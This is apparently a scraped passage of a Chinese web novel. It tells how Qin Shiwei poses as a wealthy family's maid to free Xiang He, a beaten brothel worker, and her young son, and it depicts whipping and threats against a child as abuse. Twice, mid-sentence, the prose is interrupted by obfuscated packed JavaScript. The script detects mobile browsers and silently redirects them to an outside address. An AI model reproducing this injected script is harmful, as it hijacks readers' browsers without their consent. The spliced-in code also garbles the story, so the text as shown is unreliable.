他先挑了家米铺，买了五十斤白面、三十斤大米，让伙计送到船上去。又转了几家铺子，买了咸鱼、腊肉、干笋、木耳、黄花菜——都是些易于储存的吃食。时鲜只买了几样——一把青菜，几个萝卜，两斤豆腐，方妈妈在一旁检查着，翻了翻菜叶子，又闻了闻咸鱼，点点头道：“这鱼腌得好，干爽，不返潮，能放得住。” 她又挑了几样，一边往篮子里放，一边同秦式微道：“等借着浔水往下走，即使顺流，也要走上四五日，中间可不好再下来采买。这些东西看着多，可船上七八口人吃着，几日就没了。得多备些，有备无患。” 秦式微点头，帮她提着篮子。她之前看书时也看到过，溪头乡离京师颇远，走水路要过好几个州府。她娘当初从京城被赶到这穷乡僻壤，还真是堪称流放了。 花了一两个时辰，总算把东西买齐了。米面干货装了整整两大筐，周安叫了几个脚夫，连筐带篮子一并送到船上去。他付了脚钱，转头对秦式微和方妈妈道：“东西买齐了，也不着急启程。主人说，难得靠岸，让你们四处逛逛，透透气。船夫那边还要检修一番，得等午后才能走。你们逛你们的，不必急着回来。” 方妈妈倒是无所谓，可她看了一眼秦式微，笑道：“那我和秦娘子四处走走。难得来一趟叙山县，不逛逛可惜了。” 周安点头，带着人先回船上去了。 这也是秦式微头一回出远门，她颇有兴致地四处逛了会儿，心里却始终惦记着自己的打算。 ——得找个机会，去问问走陆路的车马行。 正想着，方妈妈忽然停下脚步，看了看街边的铺子，道：“秦娘子，我想去看看针线。这条街上有个铺子，专门卖苏杭来的绣线，比别处的好。我还想买些零嘴带回去，给阿平他们尝尝。” 她指了指街对面一家挂着“苏绣庄”招牌的铺子，又道：“你去买零嘴吧，就在前面拐角那家。我挑好了在铺子门口等你。别走远了，这地方人多，走散了不好找。” 秦式微应了，正要转身，方妈妈忽然拉住她，像是想起了什么。 “对了，”方妈妈道，“今儿个一早，我去送早食时，主人让我同秦娘子说句话。” 秦式微微微一怔，停下脚步。那位张公子，从上船到现在，从未露过面，也从未与她说过一句话。这会子忽然让方妈妈带话，不知是什么事。 “什么话？”她问。 方妈妈想了想，一字一句道：“主人说——所行慎思。” 秦式微愣住。 她把这四字往心里滚了顾，也没琢磨出个所以然来。这话是什么意思？ 她想问方妈妈，可方妈妈已经转身往绣庄去了，边走边回头道：“我先去挑线，你别走远了。” 秦式微只好按下心里的疑惑，转身往拐角处的零嘴铺子走去。 铺子不大，卖的是本地特产——桂花糕、芝麻糖、蜜渍梅子、糖霜桃条，样样都透着甜香。她挑了几样，让伙计包起来，付了钱，拎着往回走。 经过一条巷子口时，她脚步忽然顿了顿。 巷子很窄，两边的门户都紧紧闭着，灰扑扑的墙，褪了色的门板，和外面热闹的街市像是两个世界。其中一扇门里头，隐隐约约传出一阵声响 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她正要往下说，铺子后头的帘子忽然掀开，一个年轻妇人探出头来，约莫三十来岁，圆脸，薄唇，一双眼睛滴溜溜地转。她看了秦式微一眼，又看了看老妇人，脸上带着几分不耐烦，抢过话头道：“客人要是买东西，我们这儿有上好的胭脂水粉。要是不买，我这也是要做买卖的，没空陪人闲聊天。” 秦式微听出她话里的意思，便从袖中摸出几个铜板，买了那盒香粉，又挑了一盒胭脂，这才又问：“我头一回来叙山县，瞧着那条巷子怪得很，大白天关着门，里头还吵吵闹闹的，不知是什么人家？” 那年轻妇人收了钱，脸色好看了些，往巷子那边瞟了一眼，撇撇嘴：“那条街，住的都是花娘。” 秦式微一怔。 “就是私窠子。”年轻妇人压低声音，话说的明白，“咱们叙山县，往来客商多，什么生意没有？这种生意，更是少不了。那条巷子里头，全是干这个的。前些年还好些，老鸨子虽说是做皮肉生意的，可到底有些良心。这几年换了个主儿，可就——哼。” 她没往下说，只摇了摇头。 老妇人在一旁听着，忍不住插嘴道：“说的是荷娘吧？方才那打骂声，又是她在挨打？可怜了那孩子。” 年轻妇人瞪了她婆婆一眼，嫌她多嘴，却还是顺着话头说了下去：“可不是。荷娘那个人，当初非要生下那个孩子，谁劝都不听。她也不知道孩子的爹是谁——那些来往的客商，今儿个来明儿个走，谁还记得谁？可她偏要生，生下来又养不活自己，落到如今这个地步。这新来的鸨母心狠手辣，动辄打骂，连带着那孩子也跟着遭罪。” 她说着，又叹了口气，语气里难得带了几分怜悯：“那孩子也是个可怜的，生下来就没爹，亲娘又……可那孩子懂事，小小年纪就知道护着他娘，每次听见打骂声，就扑上去挡着。可一个几岁的孩子，能挡得住什么？” 秦式微站在那儿，听着这些话，手里捏着那两盒脂粉，一时没有说话。 巷子里又传来一声闷响，接着是女人的哭声和孩子的尖叫，很快又被什么东西堵住了，变成呜呜咽咽的闷哼。 14. 假扮 鸨母今日是下定了主意，要好好整治一番香荷和那个小野种。她也是走了前年背运，以为从姓洪的手里接了盘好生意，结果尽是群没用的，要不是她见识广，又多弄出些花样，这摊子早就翻了。 香荷虽是不如能嫩生生的小娘子，但也别有一番妇人风韵，因而点她的恩客最是多，有银子拿，她也勉强忍了那小崽种，只要不太闹腾，她就睁一只眼闭一只眼，谁料自年关前，香荷发了场高热，就跟换了个芯一般，整日想着往外逃，她打了多少次，香荷都没见转心思，甚至昨夜马老爷来，那小崽种居然敢躲在床榻下，伙同香荷敢打晕马老爷，而其他贱皮子更是装没看到，要不是后门倒夜香的黄婆子偷摸来同她说，她当真是被鹰啄了眼，阴沟里翻船。 鸨母让婆子松开手，香荷顷刻瘫软在地，周遭扔着几根染了血的竹篾，红殷殷的，她把沾血的竹篾甩了甩，蹲下身叹了口气： “香荷，我从洪妈妈手里接过你们姐妹几人，自认为对你们是放在手里怕化了，好生照顾，吃穿用度哪样短了你们的？逢年过节还给你们添衣裳、打首饰，就想着要对得起我老姐妹的托付。你倒好，非闹得家中不宁，岂不是恩将仇报？” 香荷趴在地上，后背的衣裳被竹篾抽烂了几道口子，血顺着两侧流下来，洇湿了身下的青砖。她咬着牙，一声不吭，只把脸埋在手肘里，肩膀微微发颤。 鸨母见她这副模样，心里头的火气又拱上来几分，却硬生生压住了，语气缓了缓，道：“前面几回，不与你计较。可昨日你竟敢将马老爷砸开了瓢——马老爷是什么人？那是咱们叙山县数得着的富户！我花了足足五十两银子，又赔了两个姑娘过去，这事才算平了。” 她说着，心里头又是一阵绞痛。那两个姑娘是她花了多少心思才养出来的双生子，琴棋书画样样拿得出手，原打算送给知州大人的公子梳拢的。如今倒好，便宜了马老爷那个老东西。 她想着，声音不由得尖利了几分：“你可知道，那是我养了多久的？你倒是痛快了，我的银子呢？” 堂屋里站着的那几个花娘，一个个低着头，大气都不敢出。有人偷偷抬眼看了看香荷，又飞快地垂下眼去。提到那两个双生子，她们更是无声，连呼吸都放轻了。香荷趴在地上，听见这话，喉咙里发出一阵嘶哑的咳嗽，咳得整个人都在发抖，却始终没有求饶。 鸨母看着她咳，没有动，只等她咳完了，才慢慢站起来，走到她面前，居高临下地看着她。 “香荷，我最后问你一次。你往后，还闹不闹了？” 香荷没有抬头，也没有说话。 鸨母等了片刻，脸上的笑意一点一点收回去，像是被人拿刀刮干净了。她直起身，声音像淬了冰：“好。你不说话，那我替你说。” 她转身坐回椅子上，端起茶盏，不紧不慢地喝了一口，这才道：“你那个小崽子，今年几岁了？五岁？六岁？” 香荷猛地抬起头，脸上全是泪，眼睛却亮得吓人：“你别动他！你要打要骂冲我来，他还是个孩子！” 鸨母看着她这副模样，心里松了口气，不怕硬骨头，就怕一心只想死的硬骨头。 “冲你来？”她笑了一声，“我冲你还少么？” “我告诉你，香荷。你要是再不听话，那个小崽子，反正是个野种，不如趁早打断手脚，扔给庙里头行乞的。” 香荷的脸色一下子更是白得彻底，嘴唇哆嗦着，“不要!不要!” 鸨母不再看她，冲那两个壮婆子挥了挥手：“把她也拖到柴房去。不是母子情深吗？关三日，不给吃，不给喝。什么时候想明白了，什么时候来跟我说。” 壮婆子应了一声，一人一边，架起香荷就往外拖。香荷的脚在地上划出两道痕迹，她张了张嘴，想喊什么，却只发出一声嘶哑的呜咽，就被拖出了堂屋。 堂屋里安静下来，安静得能听见烛花爆开的声音。 鸨母坐在太师椅上，目光从剩下的花娘脸上一一扫过去。那些年轻的面孔一个个低下去，有的在发抖，有的咬着唇，有的眼眶已经红了。 她从袖中摸出一叠纸，在手里拍了拍，声音不紧不慢：“你们也不用怕。只要你们安分守己，好好接客，好好给我赚银子，我不会亏待你们。可谁要是生了不该有的心思——” 她把那叠纸往桌上一拍，声音不大，却让所有人都打了个哆嗦。 “你们的身契都在我手里。谁要是敢学香荷，我就把她卖到矿上去。那里头什么样，不用我多说吧？” 花娘们一个个噤若寒蝉，连哭都不敢出声了。 鸨母满意地点点头，挥了挥手：“都下去吧。该干什么干什么去。” 花娘们如蒙大赦，低着头鱼贯而出。堂屋里只剩下鸨母一个人，她靠在椅背上，长长地出了一口气，闭上眼，揉了揉眉心。 还没等她歇够，外头忽然传来一阵急促的脚步声。守门的鲍婆子掀帘子进来，脸上带着几分古怪的神色，凑到她跟前，压低声音道：“妈妈，外头来了个小娘子，说是柴家老爷的奴婢，要见您。” 鸨母睁开眼，皱了皱眉：“柴家？我怎不记得有姓柴的客人？” 她在叙山县做了好多年生意，大大小小的富商、官员、公子哥儿，不说全认得，起码有些印象。姓柴的——她想了半天，也没想起来。 鲍婆子道：“那小娘子生得好生标致，看着不像寻常人家出来的。奴婢不敢拦，先让人在偏厅坐着了。” 鸨母想了想，还是不能得罪。这年头，能养得起奴婢的人家，多少有些根基。她起身，先去后头洗了手，又整了整衣裳，这才往偏厅去。 掀帘子进去的时候，她一眼就看见了坐在客座上的小娘子。 那一眼，让她脚步顿了一顿。 她做了几十年生意，什么样的人没见过？富家的千金，官家的小姐，往来客商的女眷——可像眼前这个小娘子的，她还是头一回见。 她坐在那儿，腰背挺直，不靠椅背，也不东张西望。衣裳料子寻常，不过是细布衣裳，可那通身的气度，却让这间逼仄的偏厅都亮堂了几分。最打眼的是那张脸——眉目清浅如黛，鼻梁秀挺，唇线柔和，右眉下一颗小小的痣，淡如墨点，衬得她真真是弱兰自流，静静立着，自有一种说不出的风流韵味。 她衣裳虽素净，可露出来的那一截脖颈和一截手腕，就能看出那一身皮子嫩白。鸨母心里头暗暗咂舌——这样的品貌，莫说在叙山县，就是在扬州、在金陵，也是拔尖的。不是寻常人家能养出来的，更不是寻常人家该有的。 她心里头转了好几转，面上却堆起笑，走上前去，福了福身：“老身莫氏，不知娘子驾临，有失远迎。” 那小娘子——秦式微，端坐在椅子上，没有起身，只微微颔首，算是还了礼。她抬起眼，目光从鸨母脸上扫过，不冷不热，带着几分居高临下的审视，开口道：“莫妈妈，奴婢奉主家之命，来接小夫人。” 鸨母心里一惊，面上却作惊疑状：“敢问主家名姓？老身这里只有花娘，哪里有什么小夫人？” 秦式微眉头微微蹙起，眼中带了几分不耐，语气里便透出些傲慢来：“主家姓柴，乃是扬州柴家。你个老厮装什么？莫不是打量着我家老爷好糊弄？” 这话说得不客气，可鸨母非但不恼，心里反倒又信了几分。若是寻常丫头，到了这种地方，早就吓得话都说不利索了。这位小娘子倒好，不但不怯，还敢跟她摆脸色——这派头，不是大户人家养出来的，做不出来。 她脸上堆着笑，却不急着接话，只慢悠悠道：“扬州柴家？老身孤陋寡闻，倒是头一回听说。娘子莫怪，老身这地方小，来的都是些寻常客商，哪认得什么高门大户？娘子且坐，喝杯茶，慢慢说。” 她说着，亲自倒了杯茶递过去。 秦式微接过茶，却没喝，只放在手边，抬眼看她，目光里带着几分审视，又带着几分不耐烦。 鸨母也不急，在她对面坐下，笑吟吟地看着她，等着她开口。 秦式微沉默了片刻，像是在斟酌措辞，终于道：“主家老爷是独生子，家中妻妾娶了好几房，却迟迟未有孕。请了高人来算，说是柴老爷一生只得一子，这儿子如今在西边，是前世的债。须得寻着，才能保住柴家的香火。” 她顿了顿，看了鸨母一眼，又道：“老爷想了又想，才想起来——许多年前，他曾在叙山县住过几日，那时年少轻狂，与一位小娘子有过一段露水姻缘，想来若是有孩子，按照高人所说，那孩子便是老爷的骨血。” 鸨母听着，心里头飞快地转着。叙山县，许多年前，露水姻缘——这几个词串在一起，倒也不是没可能。这地方往来客商多，一夜风流之后拍拍屁股走人的，她见得多了。可那孩子—— 她心里忽然一动。 秦式微又道：“老爷说了，那小夫人右手腕间有颗痣，红红的，绿豆大小。” 鸨母的手猛地攥紧了帕子。 右手腕间有颗痣——那不就是香荷？ 她记得清清楚楚，香荷右手腕内侧确实有颗红痣，平日里戴个镯子就遮住了，不仔细看还看不出来。 她心里头翻江倒海，面上却只露出几分惊讶：“这——倒是有这么个人。香荷右手腕上，确实有颗红痣。” 秦式微显然也是没想到，身子微微前倾：“她可曾有孕？” 鸨母点头，声音都有些发颤：“有。还生了个儿子，今年六岁了。” 秦式微脸上露出几分喜色，一拍扶手，站起身来：“真高人啊！快，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364727|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我见见小夫人。我家老爷说了，若是寻着了，即刻便接回扬州去，好生供养。” 鸨母脸上却露出为难之色，坐在那儿没动。 秦式微的笑容一点一点收回去，目光冷下来：“怎么？莫妈妈这是不乐意？” 鸨母连忙摆手，脸上堆着笑，心里头却急得不行。香荷这会儿还在柴房里关着呢，后背那些伤，哪里能见人？若让这丫头看见了，回去一禀报，柴家老爷还不得把她这摊子掀了？ 她干笑两声，道：“娘子有所不知，荷娘她……她病了，见不得人。这几日正养着呢，大夫说了，不能见风，不能见客，得好生将养。” 秦式微皱了皱眉，显然不信：“病了？什么病？怎么这么巧？” 鸨母赔着笑脸：“可不是巧了嘛。荷娘身子骨弱，前些日子就病了一场，一直没好利索。老身心疼她，让她在屋里养着，谁都不许见。娘子若是要见她，过几日再来，等荷娘好些了，老身亲自带她来见娘子。” 秦式微盯着她看了好一会儿，目光冷冷的，像是要把她看穿。鸨母心里发虚，面上却笑得越发殷勤。 “娘子放心，荷娘在老身这儿，吃得好穿得好，老身把她当亲闺女待。只是这病来如山倒，实在是见不得人。老身真是焦心得睡不着，恨不得放血入药——” “行了。”秦式微打断她，从袖中摸出五两银子，往桌上一拍，“不就是想要银子么？拿着。等会儿我便带人来请荷娘走，还有一笔银子给你这老货。” 鸨母看着那银子，眼睛都亮了，脸上还是一副慈母状：“娘子误会了，老身不是这个意思。实在是大夫说了，不能见人。” 鸨母被她噎得说不出话来，忽然灵机一动：“娘子也想好好交差，若是荷娘有恙，这才是吃不了兜着走，为何不耐心等两日，就两日。” 秦式微似乎听进去了，语气缓和：“罢了。你既说荷娘病了，我也不为难你。两日，两日之后我来接人。这两日里，你好生照看她，若是有半点差池——” 她没有往下说，只冷冷地看了鸨母一眼。 那一眼，让鸨母后背一凉。她连忙点头：“娘子放心，娘子放心。两日之后，老身一定把荷娘收拾得妥妥帖帖，恭候娘子来接。” 秦式微嗯了一声，站起身来，整了整衣裳，头也不回地往外走。 鸨母一路送到门口，看着她出了巷子，才长长地出了一口气，靠在门框上，只觉得后背的衣裳都湿透了。 “鲍婆子！”她扯着嗓子喊了一声。 鲍婆子从门房里探出头来：“哎，来了来了。” “快，去请大夫！最好的大夫！赶紧的！” 鲍婆子应了一声，撒腿就跑，忽然又想到什么，赶紧说道：“妈妈，广成家的来送胭脂水粉了，要不要进来？” 鸨母哪有心思管什么胭脂水粉，挥了挥手：“进来进来，让她们进来。” 她心里头又是喜又是忧。喜的是，香荷那个小野种居然真是柴家的种，这下可算攀上高枝了。忧的是——她回头看了一眼后院的方向，想起香荷后背那些伤，心里头一阵阵发紧。 “我的老天娘，”她喃喃道，一拍大腿，“这可怎么是好？” 秦式微出了巷子，没有急着回码头。她在街上转了一圈，又转了一圈，确认身后没有人跟着，才折回那条脂粉铺子所在的巷子。 铺子里，广婆子见她进来，连忙站起来：“娘子回来了？” 秦式微点点头，在她对面坐下，没有说话，只等着。 过了约莫一炷香的功夫，外头传来脚步声。帘子一掀，广成媳妇钻了进来，脸色发白，手都在抖。她看见秦式微，张了张嘴，半天说不出话来。 秦式微起身，把门关上，转身问她：“如何？” 广成媳妇咽了口唾沫，声音都在打颤：“我、我趁乱看了一眼……那荷娘，去了半条命了。后背全是血，衣裳都粘在肉上了。人被拖到柴房去了，门口还有人守着。那个孩子——” 她顿了顿，眼眶红了：“那孩子被人从柴房里拖出来的时候，都说不出话了。” 她这话听得广婆子念好几句造孽，秦式微彻底冷了脸，眼中染了韫色，但又沉默了片刻，从袖中摸出一串铜钱，放在柜台上：“婆婆，这是今日的谢礼。过两日，怕是还要麻烦你们。” 广婆子连忙推辞：“娘子这是做什么？那孩子可怜，我们帮一把是应该的。再说了，娘子已经给了不少了——” 秦式微把钱推过去，站起身来：“拿着吧。我还有事，先走了。” 她掀帘子出去，站在巷口，深吸了一口气。 时间确实紧，她得赶紧先去车马行，若是能够定下行程，便无需进京，可辞了那位张公子，再等夜半来救人。 15. 逃跑 日头还没升到正中，秦式微便依着先前问广婆子的消息，往车马店去。 车马店在叙山县东街，门面阔气，拴马桩上系着七八匹骡马，院子里停着几辆板车和一辆带篷的马车。一个留着短须的中年汉子坐在柜台后面，正拨着算盘珠子，噼里啪啦响。 秦式微走进去，还是那一套说辞——句州的远亲，急着赶路，想找个商队搭车。 中年汉子上下打量了她一眼，见她虽穿着寻常，可说话条理清楚，气质也不像乡下人，倒也没为难，翻了翻桌上的簿子，道：“巧了，今儿个早上刚来了个商队，往襄州去的，路过句州。领队的是老客了，人厚道，搭个把人没问题。” 他报了价钱，又说了出发的时辰和地方，秦式微听了，从袖中摸出半两银子做定金。中年汉子收了，在一张纸条上记了几笔，递给她，叮嘱道：“明儿个一早，城门西角，卯正时分。商队不等人的，误了时辰可别怪我没提醒。” 秦式微接过纸条，收好，应了声，转身出了车马店。 她站在街口，看了看天色。日头正往中天走，估摸着再过一个时辰就到正午了。她得赶紧去找方妈妈，同张公子告辞，然后便在叙山县住一晚，等到夜里去救荷娘母子。明儿一早，搭上商队，往句州去。 她想着，脚步便快了几分。 方妈妈还在苏绣庄里挑针线。秦式微拐进那条街，远远就看见苏绣庄的招牌，正要走过去，余光里忽然瞥见一个熟悉的身影—— 是那个守门的鲍婆子。 她正站在街对面，身边还跟着两个膀大腰圆的妇人，三个人四处张望着，像是在寻什么人。鲍婆子脸上带着急色，一边走一边低声吩咐着什么，那两个妇人连连点头，往不同的方向散开了。 秦式微脚步一顿，闪身躲进旁边一家铺子的门檐下。 她心里头咯噔一下，第一反应是——她们发现柴家是假的了？ 可转念一想，不对。若是发现了，该去码头堵她，而不是在这街上乱转。 她定了定神，悄悄跟上去，离着几步远，竖起耳朵听。 鲍婆子正扯着一个卖饼的小贩问话，声音压得低，可秦式微离得近，断断续续听见几句：“……见过一个年轻娘子，带着个五六岁的男娃？那男娃嗓子不好，说话沙沙的……” 小贩摇头，鲍婆子松开他，骂骂咧咧地往前走。秦式微跟在后面，又听见她对身边的人说：“快去找！她带着小崽子跑不了多久，要是坏了妈妈的事，咱们都吃不了兜着走！” 秦式微心头一跳。 不是发现她。是荷娘跑了。 她站在巷口，看着鲍婆子匆匆拐进另一条街，没有再跟。她转身往回走，脚步比来时快了许多。走到苏绣庄门口，方妈妈已经有些坐不住了，正站在门口四处张望，见她回来，松了一口气：“可算回来了，我还以为你走丢了呢。” 秦式微笑了笑，没说别的，只道：“妈妈再等我一会儿，我忘了点东西，去去就回。” 方妈妈还想问什么，她已经转身走了。 秦式微快步往那条巷子去。洪妈妈的门紧闭着，和方才一样，可门缝里透出来的那股子紧绷的气息，隔着老远都能感觉到。她没有停留，径直去了广婆子的脂粉铺。 铺子里，广婆子和广成媳妇正凑在一起低声说着什么，见她进来，两个人都吓了一跳。广婆子先回过神来，一把拉住她，激动道：“秦娘子！荷娘她还好吗？” 秦式微摇摇头，压低声音：“不是我。荷娘真不见了吗？” 广成媳妇在一旁接话，声音也压得低低的：“可不是！你走之后不久，对面就开了门，呼呼啦啦出来好多人，满街找人。那老婆子站在门口骂了半日，什么难听的话都骂出来了。后来鲍婆子领着人往东街去了，说是非要把人抓回来不可。” 秦式微沉默了一瞬，问：“可有人瞧见她往哪儿跑了？” 广婆子摇头：“那巷子后头通着好几条小路，谁知道她从哪儿跑的。不过——”她顿了顿，像是想起什么，“我听隔壁卖豆腐的王婶说，不久之她在晾晒衣裳，隐约看见个女人带着孩子往后河方向去了。他也不确定是不是荷娘，只说那孩子看着瘦瘦小小的，走路跌跌撞撞的。” 王婶说完又搓了搓眼睛：“许是我老眼昏花了吧。” 广婆子心中清楚，这巷里巷外谁没听过荷娘的惨叫，如若这回能跑掉，她们自然是没瞧见任何人。 后河。 秦式微闻言心里有了计较。她转身就往外走，广婆子在身后喊：“娘子！你一个人去？危险！” “我去看看。”秦式微头也不回地应了一声，脚步已经迈出了门槛。 后河在叙山县北边，是浔水的一条小支流，河道窄，水浅，两岸多是破旧的棚户和堆杂物的仓子，平日里没什么人去。秦式微走得快，沿着广婆子指的方向，穿过两条街，拐进一条窄巷。 巷子尽头是一道土坡，翻过去就是后河。 她站在土坡上往下看，河滩上长满了野草，几棵歪脖子柳树垂着枝条，遮住了大半河面。远处有几个孩子在捡石子，近处却一个人也没有。 她没有急着下去，而是沿着土坡往东走了一段，仔细看着河滩上的痕迹。野草被踩倒了一片，顺着那个方向，往河边延伸过去。她顺着那道痕迹往前走，走了约莫百来步，忽然看见河滩上扔着一只鞋。 很小的一只鞋，灰扑扑的，鞋面上破了个洞。 秦式微蹲下身，捡起那只鞋看了看，又放下。她抬起头，往四周望了一圈，目光落在河对岸的一片芦苇丛上。芦苇长得很密，比人还高，风一吹，沙沙地响。 她没有出声，只静静地看了一会儿，然后沿着河岸绕过去，走过那座石板桥，到了对岸。 芦苇丛边上，有一片倒伏的痕迹，像是有人刚刚从这里经过。 她拨开芦苇，走了进去。 香荷觉得自己快要死了。 后背火烧火燎地疼，每跑一步都像有人拿刀子在她背上划。她咬着牙，拉着泉生的手，跌跌撞撞地跑过一条又一条巷子。泉生很乖，不哭不闹，只使劲迈着小短腿跟着她跑，跑得脸都白了，嘴唇发紫，也没有喊一声累。 可她跑不动了。 腿像灌了铅，胸口像压了块大石头，嗓子眼里有血腥味往上涌。她回头看了一眼——巷子那头空荡荡的，没有人追来。她又往前看了一眼——前面是一片芦苇丛，高高的，密密的，像一道绿色的墙。 她拖着泉生钻了进去。 芦苇叶子割着她的脸和手，她不管，只往里走，走到走不动了，才一头栽倒在地上。 “娘！”泉生扑过来，小手摸着她的脸，声音沙沙的，带着哭腔。 香荷躺在地上，大口大口地喘着气。天幕低垂，云压得很低，灰蒙蒙的，像一块洗旧了的抹布。她的眼泪不知什么时候流了下来，顺着脸颊淌进耳朵里，凉丝丝的。 这些日子压着的不甘、委屈、愤懑，一下子全涌上来，堵在胸口，堵得她喘不过气。 她怎么就这么倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373972|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霉呢？ 给导师打工写论文求毕业，熬到凌晨四点，一口气没提上来，就穿来了。穿来就穿来吧，好歹给个好点的开局——结果呢？人在暗门，身子是别人的，还附送一个六岁的孩子。开局即天崩，如此坎坷！ 她越想越气，越想越委屈，眼泪止不住地流，嘴里却不服输地骂了一句：“我日他个仙人板板！” 泉生被她这一声吓了一跳，眼泪挂在脸上，愣愣地看着她。 香荷骂完了，觉得胸口那股气顺了些。她躺在地上，望着头顶那片灰蒙蒙的天，忽然想笑。她没穿来之前是个母胎，连恋爱都没谈过，哪里当过娘？可这孩子—— 她侧过头，看着泉生。孩子蹲在她身边，小手还攥着她的衣角，眼睛红红的，嘴唇抿得紧紧的，一副想哭又不敢哭的模样。 她想起自己发高热那次，整个人烧得迷迷糊糊，躺在床上动弹不得。是泉生偷了厨房里的半块馒头，藏在袖子里带回来给她。馒头被他的体温捂得热乎乎的，软塌塌的，上面还沾着灰。他踮着脚，把馒头递到她嘴边，小声说：“娘，吃。” 她当时烧得眼睛都睁不开，可那口馒头咽下去的时候，眼泪也跟着下来了。 还有那次，老虔婆罚她在院子里跪着，跪了整整一下午。泉生不知从哪儿偷了一碗水，端着摇摇晃晃地走过来，水洒了一路，到跟前只剩小半碗。他跪在她身边，把碗举到她嘴边，说：“娘，喝水。” 她喝了那口水，觉得这日子好像也没那么难熬。 她占了这具身子，占了这孩子的娘，就该负起这个责任。她不能倒，不能认命，不能让那个老虔婆把泉生抢走。 她深吸一口气，撑着身子坐起来。后背疼得她龇牙咧嘴，可她咬着牙，把那股疼忍住了。 “泉生，”她哑着嗓子说，“娘没事。” 泉生看着她，眼泪终于掉了下来，却没有出声，只使劲点了点头。 香荷环顾四周，芦苇丛密密匝匝的，把她们遮得严严实实。她暂时安全了，可她知道自己跑不远。那个老虔婆不会善罢甘休，她会派人搜遍整个叙山县，把她们母子抓回去。 她不能停。 她撑着地面想站起来，腿一软，又跌坐回去。眼前一阵阵发黑，耳朵里嗡嗡响。她张了张嘴，想说什么，却一个字也说不出来。后背的伤口裂开了，血渗过衣裳，把身下的草叶染红了一片。 泉生吓坏了，扑上来抱住她的胳膊，哭着喊：“娘！娘！” 那声音沙沙哑哑的，像小猫叫，在芦苇丛里回荡着。 香荷的意识一点一点模糊。她看见泉生的脸在眼前晃，看见那双含泪的眼睛，那张小小的、惊恐的脸。她想伸手摸摸他的头，可手抬不起来。 天幕低垂，云还在慢慢地走。 她忽然想起自己上辈子熬夜写论文的那些日子，想起凌晨四点的图书馆，想起窗外黑沉沉的天和远处路灯昏黄的光。那时候她也觉得累，觉得苦，觉得撑不下去了。可每一次，天都会亮。 这一次，天还会亮吗？ 她的眼皮越来越沉，眼前的光一点一点暗下去。 在彻底晕过去之前，她看见芦苇被拨开，一个人影从外面钻进来。 逆着光，看不清脸，只看见一袭素色的衣裙，一头乌黑的发，还有一张——清丽得不像话的脸。那眉眼温温软软的，像山涧里的水，像初春的风，像庙里供着的观音娘娘。 香荷心中最后一个念头浮上来—— 妈妈，神仙妃子来接我了。 16. 初见 河风灌带着水腥气吹过，秦式微蹲在香荷身边，就着远处透过来的一点昏黄灯光，看清了她后背的伤——外衫早已烂得不成样子，碎布条粘在血肉上，分不清哪是布哪是皮肉。有些伤口已经结了黑紫色的痂，边缘翻卷着，露出底下嫩红的新肉，有些还在往外渗血，顺着腰线淌下来，把裙裾洇湿了一片。 她皱了皱眉，把自己的外衫脱下来。夜风一吹，身上只剩一件单薄的襦裙，凉意顺着脊背爬上来。她刚要把外衫往香荷身上盖，一个小小的身影猛地挡在了前面。 泉生张开两只胳膊，像一只炸了毛的小猫，死死地挡在香荷面前。他抬着头，那双黑沉沉的眼睛里满是警惕，嘴唇抿得发白，身子却在不停地发抖。 秦式微没有动。她蹲在原地，与他对视了片刻，然后慢慢伸出手，轻轻揉了揉他的头顶。掌心下，那孩子的头发硬硬的，乱糟糟的，沾着草屑和泥巴。他的身体绷得像一张弓，却在她的手指触到他头发的那一刻，微微颤了一下。 她把外衫轻轻放在香荷身边的地上。 “我不碰她。”她声音放得很低很低，尽力安抚，“她冷，给她盖上，好不好？” 泉生看了看她，又低头看了看地上的外衫，犹豫了好一会儿，才慢慢放下胳膊。他弯腰捡起外衫，小心翼翼地盖在香荷身上，又把四个角都掖好，连露在外面的手指头都盖住了。做完这些，他又退回到香荷身边，小手攥着她的衣角。 秦式微见状松了口气，伸手探了探香荷的额头。指尖触到一片滚烫，烫得她心里一沉。这烧，得赶紧找大夫，不能耽搁。 可这里是叙山县，她人生地不熟，连个落脚的地方都没有。那鸨母的人还在街上四处搜，若是撞上了，她一个人护不住这两个。她看了一眼泉生，那孩子的脸，鸨母那边的人都认得。 就在这时，巷子那头传来一阵急促的脚步声，伴着一声低低的呼唤：“秦娘子？秦娘子你在哪儿？” 是方妈妈! 秦式微连忙应道：“我在这里！” 方妈妈从巷子那头小跑过来，手里还拎着那个针线包，脸上满是焦急。她跑到跟前，一眼看见地上躺着的香荷，倒吸一口凉气：“哎哟我的天！谁家的娘子？怎么伤成这样？” 秦式微站起来，也顾不上解释太多，低声道：“妈妈，劳烦您帮我一把。她伤得重，得赶紧找大夫。” 方妈妈看了她一眼，又看了看地上的香荷和那个瑟瑟发抖的孩子，二话没说，弯腰就去扶香荷。她的动作利落得很，一边扶一边说：“前头拐角就有家医馆，我认得路。快走，别耽搁。” 秦式微心里一热，连忙上前，两人一左一右架起香荷。泉生紧紧跟在后面，小手攥着秦式微的衣角，一步也不肯落下。 可她们没走出多远，巷子那头就亮起了一片灯笼的光。 “站住！” 一声尖利的喝斥划破了夜色的寂静。秦式微脚步一顿，抬头望去——鸨母带着四五个壮实的婆子和两个护院，正堵在巷口。灯笼把整条巷子照得雪亮，鸨母站在最前面，那张脸上的表情，从惊疑变成了愤怒，又从愤怒变成了狞笑。 